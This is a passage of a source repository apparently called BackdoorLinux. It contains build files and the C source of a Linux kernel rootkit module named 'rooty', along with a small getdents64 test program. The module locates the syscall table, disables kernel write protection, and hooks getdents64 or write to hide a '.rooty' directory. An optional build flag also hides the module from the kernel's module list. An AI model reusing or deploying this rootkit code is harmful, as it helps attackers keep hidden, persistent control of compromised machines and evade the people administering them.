/usr/src/linux-headers-3.2.0-4-common/include/linux/pid.h \ 536 | /usr/src/linux-headers-3.2.0-4-common/include/linux/semaphore.h \ 537 | /usr/src/linux-headers-3.2.0-4-common/include/linux/fiemap.h \ 538 | /usr/src/linux-headers-3.2.0-4-common/include/linux/nfs_fs_i.h \ 539 | /usr/src/linux-headers-3.2.0-4-common/include/linux/nfs.h \ 540 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sunrpc/msg_prot.h \ 541 | /usr/src/linux-headers-3.2.0-4-common/include/linux/inet.h \ 542 | /usr/src/linux-headers-3.2.0-4-common/include/linux/fcntl.h \ 543 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/fcntl.h \ 544 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/fcntl.h \ 545 | /usr/src/linux-headers-3.2.0-4-common/include/linux/hardirq.h \ 546 | $(wildcard include/config/generic/hardirqs.h) \ 547 | $(wildcard include/config/virt/cpu/accounting.h) \ 548 | $(wildcard include/config/irq/time/accounting.h) \ 549 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ftrace_irq.h \ 550 | $(wildcard include/config/ftrace/nmi/enter.h) \ 551 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/hardirq.h \ 552 | $(wildcard include/config/x86/thermal/vector.h) \ 553 | $(wildcard include/config/x86/mce/threshold.h) \ 554 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irq.h \ 555 | $(wildcard include/config/irq/release/method.h) \ 556 | $(wildcard include/config/generic/pending/irq.h) \ 557 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irqreturn.h \ 558 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irqnr.h \ 559 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/irq.h \ 560 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/irq_vectors.h \ 561 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/irq_regs.h \ 562 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irqdesc.h \ 563 | $(wildcard include/config/irq/preflow/fasteoi.h) \ 564 | $(wildcard include/config/sparse/irq.h) \ 565 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/hw_irq.h \ 566 | $(wildcard include/config/irq/remap.h) \ 567 | /usr/src/linux-headers-3.2.0-4-common/include/linux/profile.h \ 568 | $(wildcard include/config/profiling.h) \ 569 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/sections.h \ 570 | $(wildcard include/config/debug/rodata.h) \ 571 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/sections.h \ 572 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/uaccess.h \ 573 | $(wildcard include/config/x86/wp/works/ok.h) \ 574 | $(wildcard include/config/x86/intel/usercopy.h) \ 575 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/uaccess_32.h \ 576 | $(wildcard include/config/debug/strict/user/copy/checks.h) \ 577 | /usr/src/linux-headers-3.2.0-4-common/include/linux/perf_event.h \ 578 | $(wildcard include/config/have/hw/breakpoint.h) \ 579 | $(wildcard include/config/cgroup/perf.h) \ 580 | $(wildcard include/config/cpu/sup/intel.h) \ 581 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cgroup.h \ 582 | $(wildcard include/config/cgroups.h) \ 583 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sched.h \ 584 | $(wildcard include/config/sched/debug.h) \ 585 | $(wildcard include/config/lockup/detector.h) \ 586 | $(wildcard include/config/detect/hung/task.h) \ 587 | $(wildcard include/config/core/dump/default/elf/headers.h) \ 588 | $(wildcard include/config/sched/autogroup.h) \ 589 | $(wildcard include/config/bsd/process/acct.h) \ 590 | $(wildcard include/config/taskstats.h) \ 591 | $(wildcard include/config/audit.h) \ 592 | $(wildcard include/config/inotify/user.h) \ 593 | $(wildcard include/config/fanotify.h) \ 594 | $(wildcard include/config/posix/mqueue.h) \ 595 | $(wildcard include/config/schedstats.h) \ 596 | $(wildcard include/config/task/delay/acct.h) \ 597 | $(wildcard include/config/fair/group/sched.h) \ 598 | $(wildcard include/config/rt/group/sched.h) \ 599 | $(wildcard include/config/cgroup/sched.h) \ 600 | $(wildcard include/config/blk/dev/io/trace.h) \ 601 | $(wildcard include/config/compat/brk.h) \ 602 | $(wildcard include/config/rt/mutexes.h) \ 603 | $(wildcard include/config/task/xacct.h) \ 604 | $(wildcard include/config/cpusets.h) \ 605 | $(wildcard include/config/futex.h) \ 606 | $(wildcard include/config/fault/injection.h) \ 607 | $(wildcard include/config/latencytop.h) \ 608 | $(wildcard include/config/function/graph/tracer.h) \ 609 | $(wildcard include/config/have/unstable/sched/clock.h) \ 610 | $(wildcard include/config/cfs/bandwidth.h) \ 611 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/cputime.h \ 612 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/cputime.h \ 613 | /usr/src/linux-headers-3.2.0-4-common/include/linux/signal.h \ 614 | /usr/src/linux-headers-3.2.0-4-common/include/linux/proportions.h \ 615 | /usr/src/linux-headers-3.2.0-4-common/include/linux/seccomp.h \ 616 | $(wildcard include/config/seccomp.h) \ 617 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/seccomp.h \ 618 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/seccomp_32.h \ 619 | /usr/src/linux-headers-3.2.0-4-common/include/linux/rtmutex.h \ 620 | $(wildcard include/config/debug/rt/mutexes.h) \ 621 | /usr/src/linux-headers-3.2.0-4-common/include/linux/plist.h \ 622 | $(wildcard include/config/debug/pi/list.h) \ 623 | /usr/src/linux-headers-3.2.0-4-common/include/linux/resource.h \ 624 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/resource.h \ 625 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/resource.h \ 626 | /usr/src/linux-headers-3.2.0-4-common/include/linux/hrtimer.h \ 627 | $(wildcard include/config/high/res/timers.h) \ 628 | $(wildcard include/config/timerfd.h) \ 629 | /usr/src/linux-headers-3.2.0-4-common/include/linux/timerqueue.h \ 630 | /usr/src/linux-headers-3.2.0-4-common/include/linux/task_io_accounting.h \ 631 | $(wildcard include/config/task/io/accounting.h) \ 632 | /usr/src/linux-headers-3.2.0-4-common/include/linux/latencytop.h \ 633 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cred.h \ 634 | $(wildcard include/config/debug/credentials.h) \ 635 | $(wildcard include/config/user/ns.h) \ 636 | /usr/src/linux-headers-3.2.0-4-common/include/linux/selinux.h \ 637 | $(wildcard include/config/security/selinux.h) \ 638 | /usr/src/linux-headers-3.2.0-4-common/include/linux/llist.h \ 639 | $(wildcard include/config/arch/have/nmi/safe/cmpxchg.h) \ 640 | /usr/src/linux-headers-3.2.0-4-common/include/linux/aio.h \ 641 | /usr/src/linux-headers-3.2.0-4-common/include/linux/uio.h \ 642 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cgroupstats.h \ 643 | /usr/src/linux-headers-3.2.0-4-common/include/linux/taskstats.h \ 644 | /usr/src/linux-headers-3.2.0-4-common/include/linux/prio_heap.h \ 645 | /usr/src/linux-headers-3.2.0-4-common/include/linux/idr.h \ 646 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cgroup_subsys.h \ 647 | $(wildcard include/config/cgroup/debug.h) \ 648 | $(wildcard include/config/cgroup/cpuacct.h) \ 649 | $(wildcard include/config/cgroup/device.h) \ 650 | $(wildcard include/config/cgroup/freezer.h) \ 651 | $(wildcard include/config/net/cls/cgroup.h) \ 652 | $(wildcard include/config/blk/cgroup.h) \ 653 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/perf_event.h \ 654 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/stacktrace.h \ 655 | $(wildcard include/config/frame/pointer.h) \ 656 | /usr/src/linux-headers-3.2.0-4-common/include/linux/uaccess.h \ 657 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ptrace.h \ 658 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/local64.h \ 659 | /usr/src/linux-headers-3.2.0-4-common/include/asm-generic/local64.h \ 660 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/hw_breakpoint.h \ 661 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kdebug.h \ 662 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/kdebug.h \ 663 | $(wildcard include/config/kexec.h) \ 664 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pid_namespace.h \ 665 | $(wildcard include/config/pid/ns.h) \ 666 | /usr/src/linux-headers-3.2.0-4-common/include/linux/nsproxy.h \ 667 | /usr/src/linux-headers-3.2.0-4-common/include/linux/ftrace.h \ 668 | $(wildcard include/config/stack/tracer.h) \ 669 | /usr/src/linux-headers-3.2.0-4-common/include/linux/trace_clock.h \ 670 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kallsyms.h \ 671 | /usr/src/linux-headers-3.2.0-4-common/include/linux/cpu.h \ 672 | $(wildcard include/config/arch/has/cpu/autoprobe.h) \ 673 | $(wildcard include/config/arch/cpu/probe/release.h) \ 674 | $(wildcard include/config/pm/sleep/smp.h) \ 675 | /usr/src/linux-headers-3.2.0-4-common/include/linux/device.h \ 676 | $(wildcard include/config/debug/devres.h) \ 677 | $(wildcard include/config/devtmpfs.h) \ 678 | $(wildcard include/config/sysfs/deprecated.h) \ 679 | /usr/src/linux-headers-3.2.0-4-common/include/linux/klist.h \ 680 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pm.h \ 681 | $(wildcard include/config/pm.h) \ 682 | $(wildcard include/config/pm/sleep.h) \ 683 | $(wildcard include/config/pm/runtime.h) \ 684 | $(wildcard include/config/pm/clk.h) \ 685 | $(wildcard include/config/pm/generic/domains.h) \ 686 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/device.h \ 687 | $(wildcard include/config/intel/iommu.h) \ 688 | $(wildcard include/config/amd/iommu.h) \ 689 | /usr/src/linux-headers-3.2.0-4-common/include/linux/pm_wakeup.h \ 690 | /usr/src/linux-headers-3.2.0-4-common/include/linux/node.h \ 691 | $(wildcard include/config/memory/hotplug/sparse.h) \ 692 | /usr/src/linux-headers-3.2.0-4-common/include/linux/sysdev.h \ 693 | /usr/src/linux-headers-3.2.0-4-common/include/linux/irq_work.h \ 694 | /usr/src/linux-headers-3.2.0-4-common/arch/x86/include/asm/local.h \ 695 | /usr/src/linux-headers-3.2.0-4-common/include/linux/slab.h \ 696 | $(wildcard include/config/slab/debug.h) \ 697 | $(wildcard include/config/failslab.h) \ 698 | $(wildcard include/config/slob.h) \ 699 | $(wildcard include/config/debug/slab.h) \ 700 | $(wildcard include/config/slab.h) \ 701 | /usr/src/linux-headers-3.2.0-4-common/include/linux/slab_def.h \ 702 | /usr/src/linux-headers-3.2.0-4-common/include/linux/kmalloc_sizes.h \ 703 | /usr/src/linux-headers-3.2.0-4-common/include/linux/dirent.h \ 704 | 705 | /home/user/BackdoorLinux/rooty/rooty.o: $(deps_/home/user/BackdoorLinux/rooty/rooty.o) 706 | 707 | $(deps_/home/user/BackdoorLinux/rooty/rooty.o): 708 | -------------------------------------------------------------------------------- /rooty/.tmp_versions/rooty.mod: -------------------------------------------------------------------------------- 1 | /home/user/BackdoorLinux/rooty/rooty.ko 2 | /home/user/BackdoorLinux/rooty/rooty.o 3 | -------------------------------------------------------------------------------- /rooty/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := rooty.o 2 | KERNEL_DIR = /lib/modules/$(shell uname -r)/build 3 | PWD = $(shell pwd) 4 | OPTS = 5 | 6 | all: 7 | KCPPFLAGS=$(KCPPFLAGS) $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) $(OPTS) 8 | 9 | invisible: KCPPFLAGS = "-DINVISIBLE_MODULE" 10 | invisible: all 11 | 12 | write: KCPPFLAGS = "-DHIJACK_WRITE" 13 | write: all 14 | 15 | invisible_write: KCPPFLAGS = -DINVISIBLE_MODULE -DHIJACK_WRITE 16 | 17 | clean: 18 | -rm -rf *.o *.ko *.symvers *.mod *.order 19 | 20 | -------------------------------------------------------------------------------- /rooty/Module.symvers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/rooty/Module.symvers -------------------------------------------------------------------------------- /rooty/built-in.o: -------------------------------------------------------------------------------- 1 | ! 2 | -------------------------------------------------------------------------------- /rooty/modules.order: -------------------------------------------------------------------------------- 1 | kernel//home/user/BackdoorLinux/rooty/rooty.ko 2 | -------------------------------------------------------------------------------- /rooty/rooty.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | MODULE_LICENSE("GPL"); 12 | int rooty_init(void); 13 | void rooty_exit(void); 14 | module_init(rooty_init); 15 | module_exit(rooty_exit); 16 | 17 | #if defined(__i386__) 18 | #define START_CHECK 0xc0000000 19 | #define END_CHECK 0xd0000000 20 | typedef unsigned int psize; 21 | #else 22 | #define START_CHECK 0xffffffff81000000 23 | #define END_CHECK 0xffffffffa2000000 24 | typedef unsigned long psize; 25 | #endif 26 | 27 | 28 | psize *sys_call_table; 29 | asmlinkage ssize_t (*o_write)(int fd, char *buff, ssize_t count); 30 | asmlinkage int (*o_getdents64)(unsigned int fd, 31 | struct linux_dirent *dirent,unsigned int count); 32 | 33 | psize **find(void) 34 | { 35 | psize **sctable; 36 | psize i = START_CHECK; 37 | while (i < END_CHECK) 38 | { 39 | sctable = (psize **)i; 40 | if (sctable[__NR_close] == (psize *)sys_close) 41 | { 42 | return &sctable[0]; 43 | } 44 | i += sizeof(void *); 45 | } 46 | 47 | return NULL; 48 | } 49 | 50 | asmlinkage ssize_t rooty_write(int fd, const char __user *buff, size_t count) 51 | { 52 | ssize_t ret; 53 | char *proc_protect = ".rooty"; /* The name of the directory to protect */ 54 | char *kbuff = (char *)kmalloc(256, GFP_KERNEL); 55 | char *pos; 56 | 57 | copy_from_user(kbuff, buff, 255); 58 | 59 | if (strstr(kbuff, proc_protect)) 60 | { 61 | kfree(kbuff); 62 | return EEXIST; 63 | } 64 | 65 | ret = o_write(fd, buff, count); 66 | kfree(kbuff); 67 | 68 | return ret; 69 | } 70 | 71 | 72 | asmlinkage int rooty_getdents64(unsigned int fd, 73 | struct linux_dirent64 *dirp, unsigned int count) 74 | { 75 | int ret = o_getdents64(fd, dirp, count); 76 | int pos; 77 | struct linux_dirent64 *d, *prev = NULL; 78 | char *kbuff = kmalloc(256, GFP_KERNEL); 79 | 80 | for (pos = 0 ; pos < ret-1 ; ) 81 | { 82 | d = (struct inux_dirent64 *)((char *)dirp + pos); 83 | copy_from_user(kbuff, d->d_name, 255); 84 | 85 | if (strcmp(kbuff, ".rooty") == 0) 86 | { 87 | if (prev == NULL) 88 | { 89 | kfree(kbuff); 90 | *dirp = *(struct linux_dirent64 *)((char *)d + d->d_reclen); 91 | return ret - d->d_reclen; 92 | } 93 | else 94 | { 95 | prev->d_reclen += d->d_reclen; 96 | break; 97 | } 98 | } 99 | 100 | pos += d->d_reclen; 101 | prev = d; 102 | } 103 | return ret; 104 | } 105 | 106 | int rooty_init(void) 107 | { 108 | /* To hide the module */ 109 | #ifdef INVISIBLE_MODULE 110 | list_del_init(&__this_module.list); 111 | kobject_del(&THIS_MODULE->mkobj.kobj); 112 | #endif 113 | 114 | if ((sys_call_table = (psize *)find()) != NULL) 115 | printk("rooty : sys_call_table found at %p\n", sys_call_table); 116 | else 117 | printk("rooty : sys_call_table not found\n"); 118 | 119 | write_cr0(read_cr0() & (~0x10000)); 120 | 121 | #ifdef HIJACK_WRITE 122 | o_write = (void *)xchg(&sys_call_table[__NR_write], rooty_write); 123 | #else 124 | o_getdents64 = (void *)xchg(&sys_call_table[__NR_getdents64], rooty_getdents64); 125 | #endif 126 | 127 | write_cr0(read_cr0() | 0x10000); 128 | 129 | return 0; 130 | } 131 | 132 | void rooty_exit(void) 133 | { 134 | write_cr0(read_cr0() & (~0x10000)); 135 | 136 | #ifdef HIJACK_WRITE 137 | xchg(&sys_call_table[__NR_write], o_write); 138 | #else 139 | xchg(&sys_call_table[__NR_getdents64], o_getdents64); 140 | #endif 141 | 142 | write_cr0(read_cr0() | 0x10000); 143 | printk("rooty : module removed\n"); 144 | } 145 | 146 | 147 | -------------------------------------------------------------------------------- /rooty/rooty.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/rooty/rooty.ko -------------------------------------------------------------------------------- /rooty/rooty.mod.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | MODULE_INFO(vermagic, VERMAGIC_STRING); 6 | 7 | struct module __this_module 8 | __attribute__((section(".gnu.linkonce.this_module"))) = { 9 | .name = KBUILD_MODNAME, 10 | .init = init_module, 11 | #ifdef CONFIG_MODULE_UNLOAD 12 | .exit = cleanup_module, 13 | #endif 14 | .arch = MODULE_ARCH_INIT, 15 | }; 16 | 17 | static const struct modversion_info ____versions[] 18 | __used 19 | __attribute__((section("__versions"))) = { 20 | { 0xa6942b40, "module_layout" }, 21 | { 0x50eedeb8, "printk" }, 22 | { 0x7258431b, "kobject_del" }, 23 | { 0x1e6d26a8, "strstr" }, 24 | { 0x268cc6a2, "sys_close" }, 25 | { 0x37a0cba, "kfree" }, 26 | { 0xe2d5255a, "strcmp" }, 27 | { 0x33d169c9, "_copy_from_user" }, 28 | { 0x16a864ec, "kmem_cache_alloc_trace" }, 29 | { 0x780303b5, "malloc_sizes" }, 30 | { 0x8d15b2a9, "pv_cpu_ops" }, 31 | }; 32 | 33 | static const char __module_depends[] 34 | __used 35 | __attribute__((section(".modinfo"))) = 36 | "depends="; 37 | 38 | -------------------------------------------------------------------------------- /rooty/rooty.mod.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/rooty/rooty.mod.o -------------------------------------------------------------------------------- /rooty/rooty.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nsarlin/BackdoorLinux/bc25b2d614e4edba880369fb362c4a8095a5d9e4/rooty/rooty.o -------------------------------------------------------------------------------- /test_getdents/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include /* Defines DT_* constants */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define handle_error(msg) \ 11 | do { perror(msg); exit(EXIT_FAILURE); } while (0) 12 | 13 | struct linux_dirent64 { 14 | unsigned long long d_ino; 15 | signed long long d_off; 16 | unsigned short d_reclen; 17 | unsigned char d_type; 18 | char d_name[0]; 19 | }; 20 | 21 | #define BUF_SIZE 1024 22 | 23 | int 24 | main(int argc, char *argv[]) 25 | { 26 | int fd, nread; 27 | char buf[BUF_SIZE]; 28 | struct linux_dirent64 *d; 29 | int bpos; 30 | char d_type; 31 | 32 | fd = open(argc > 1 ? argv[1] : ".", O_RDONLY | O_DIRECTORY); 33 | if (fd == -1) 34 | handle_error("open"); 35 | 36 | for ( ; ; ) { 37 | nread = syscall(SYS_getdents64, fd, buf, BUF_SIZE); 38 | if (nread == -1) 39 | handle_error("getdents"); 40 | 41 | if (nread == 0) 42 | break; 43 | 44 | printf("--------------- nread=%d ---------------\n", nread); 45 | printf("i-node# file type d_reclen d_off d_name\n"); 46 | for (bpos = 0; bpos < nread;) { 47 | d = (struct linux_dirent64 *) (buf + bpos); 48 | printf("%8ld ", d->d_ino); 49 | d_type = d->d_type; 50 | printf("%-10s ", (d_type == DT_REG) ? "regular" : 51 | (d_type == DT_DIR) ? "directory" : 52 | (d_type == DT_FIFO) ? "FIFO" : 53 | (d_type == DT_SOCK) ? "socket" : 54 | (d_type == DT_LNK) ? "symlink" : 55 | (d_type == DT_BLK) ? "block dev" : 56 | (d_type == DT_CHR) ? "char dev" : "???"); 57 | printf("%4d %10lld %s\n", d->d_reclen, 58 | (long long) d->d_off, d->d_name); 59 | bpos += d->d_reclen; 60 | } 61 | } 62 | 63 | exit(EXIT_SUCCESS); 64 | } 65 | --------------------------------------------------------------------------------